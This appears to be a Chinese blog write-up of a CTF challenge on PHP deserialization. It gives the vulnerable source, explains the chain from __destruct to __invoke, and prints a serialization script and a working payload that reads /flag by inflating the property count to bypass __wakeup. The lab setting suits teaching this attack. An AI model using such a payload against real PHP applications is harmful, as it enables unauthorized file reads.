成理信安协会题目反序列化03

就如这道题在最开始面板上说的一样,你真的了解反序列化了吗?
这道题就是在看你是不是真的了解了魔术方法怎么触发,起到什么作用?

先上源码。

<?php
show_source(__FILE__);

class CDUTSEC1{
    public $file;
    public $function;

    function __construct($file, $function)
    {
        $this->file = $file;
        $this->function = $function;
    }
    function __wakeup()     // Hint:听说你们喜欢绕__wakeup,但是我可听说官方在php7.0.10之后修复了这个bug
    {
        $this->file = __FILE__;
        $this->function = 'phpversion';
    }
    function __invoke()
    {
        return file_get_contents($this->file);
    }
    function __toString()
    {
        return file_get_contents($this->file);
    }
    function __get($function)
    {
        return $this->function;
    }
    function __call($a, $b){
        return $this->function;
    }
}

class CDUTSEC2{
    public $function = 'phpversion';

    function __destruct()
    {
        echo ($this->function)();   //
    }
}

@unserialize($_GET['payload']);

代码审计一下。

  • 能拿flag的方式只有CDUTSEC1中__invoke和__toString两个魔术方法,触发能够执行file_get_contents($this->file)。所以只要CDUTSEC1类的file值为'/flag'(当然可能不在当前目录,视题而定)就能拿到flag了。
  • 两个魔术方法的触发条件:
    • __invoke:当尝试以调用函数的方式调用一个对象时触发
    • __toString:一个类被当做字符串时触发。用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。此方法必须返回一个字符串,否则会产生错误。
  • 所以__toSring无法触发。审计发现,CDUTSEC2中的析构函数__destruct执行时正好把类成员function当作函数来调用,正好可以触发__invoke。所以我们可以把CDUTSEC1序列化后作为CDUTSEC2中$function的值再次序列化即可。
  • 但CDUTSEC1中在触发__invoke之前因为反序列化__weakup先触发并把我们传入的$file覆盖,因此我们需要绕过__weakup。利用的漏洞也很简单,只需要把序列化字符串表示类成员数量的数字改大(大于实际数)即可绕过。本例中,改CDUTSEC2与嵌套的CDUTSEC1都可以。

上序列化脚本。

<?php

class CDUTSEC1{
    public $file;
    public $function;

//     function __construct($file, $function)
//     {
//         $this->file = $file;
//         $this->function = $function;
//     }
//     function __wakeup()     // Hint:听说你们喜欢绕__wakeup,但是我可听说官方在php7.0.10之后修复了这个bug //实际上版本并没有大于。
//     {
//         $this->file = __FILE__;
//         $this->function = 'phpversion';
//     }
//     function __invoke()
//     {
//         return file_get_contents($this->file);
//     }
//     function __toString()
//     {
//         return file_get_contents($this->file);
//     }
//     function __get($function)
//     {
//         return $this->function;
//     }
//     function __call($a, $b){
//         return $this->function;
//     }
}

class CDUTSEC2{
    public $function = 'phpversion';

//     function __destruct()
//     {
//         echo ($this->function)();
//     }
}

$tr = new CDUTSEC1();
$tr->file = '/flag';          
$sr = new CDUTSEC2();
$sr->function = $tr;
echo serialize($sr);

说一句,序列化脚本中类只需要定义成员,其他魔术方法直接注掉就完了,没影响,不注掉有时候还会警告和报错

跑出来是O:8:"CDUTSEC2":1:{s:8:"function";O:8:"CDUTSEC1":2:{s:4:"file";s:5:"/flag";s:8:"function";N;}},然后改大类成员数。
payload: O:8:"CDUTSEC2":1:{s:8:"function";O:8:"CDUTSEC1":3:{s:4:"file";s:5:"/flag";s:8:"function";N;}}

总结就是,你要从这道简单的反序列化题中真正了解魔术方法的触发方式,不同的触发顺序,当你真正了解之后,就发现这道题是多么基础。

posted @ 2020-10-06 17:15  Riv3r1and  阅读(184)  评论(0编辑  收藏  举报